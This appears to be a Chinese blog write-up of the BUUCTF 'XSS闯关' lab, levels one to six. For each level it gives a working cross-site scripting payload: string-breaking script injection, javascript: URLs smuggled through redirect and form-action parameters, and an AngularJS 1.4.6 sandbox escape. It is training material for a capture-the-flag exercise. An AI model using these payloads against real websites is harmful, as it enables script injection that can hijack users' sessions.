buuctf 刷题记录 [第二章 web进阶]XSS闯关

buuctf 刷题记录 [第二章 web进阶]XSS闯关

buuctf 刷题记录 [第二章 web进阶]XSS闯关

第一关

buuctf 刷题记录 [第二章 web进阶]XSS闯关

第二关

buuctf 刷题记录 [第二章 web进阶]XSS闯关

查看源代码

buuctf 刷题记录 [第二章 web进阶]XSS闯关

换个username试试

buuctf 刷题记录 [第二章 web进阶]XSS闯关

接下来的思路是尝试闭合var username = '';并和最后面的</script>

方法失败,因有一个escape函数

改用直接alert的方式

buuctf 刷题记录 [第二章 web进阶]XSS闯关

payload:
?username=';alert(1);//

闭合了var username = 前半个单引号,执行alert函数(因为是处于<script></script>函数)然后闭合后面的所有css源码

第三关

buuctf 刷题记录 [第二章 web进阶]XSS闯关

不用管后面的代码,直接注释掉,开头使用了两个包裹

所以使用两个''闭合即可

payload:
'';alert(1);//

buuctf 刷题记录 [第二章 web进阶]XSS闯关

第四关

页面10秒后会重定向

buuctf 刷题记录 [第二章 web进阶]XSS闯关

这里有一个知识点:

伪链接
javascript:alert(1),浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。

buuctf 刷题记录 [第二章 web进阶]XSS闯关

直接javascript代码利用重定向

buuctf 刷题记录 [第二章 web进阶]XSS闯关

payload:

?jumpUrl=javascript:alert(1)

其实这关也有个暗示,就是没有username

if(getQueryVariable('autosubmit') !== false){
    		var autoForm = document.getElementById('autoForm');
    		autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
    		autoForm.submit();
    	}else{
    		
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}

第五关

两个判断

首先接受参数autosubmit

判断autosubmit是否等于false不是的话,继续执行

接下来判断variable

buuctf 刷题记录 [第二章 web进阶]XSS闯关

=作为分隔

payload:

?autosubmit=1&action=javascript:alert(1)

buuctf 刷题记录 [第二章 web进阶]XSS闯关

第六关

buuctf 刷题记录 [第二章 web进阶]XSS闯关

这是一个

AngularJS 1.4.6框架

参考:
AngularJS XSS
因为版本是1.4.6所以需要沙箱逃逸
AngularJS Sandbox Bypasses

buuctf 刷题记录 [第二章 web进阶]XSS闯关

具体就不研究了,xss价值不太大

payload:
?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

上一篇:使用VSCode创建第一个VUE项目


下一篇:使用js实现放大镜功能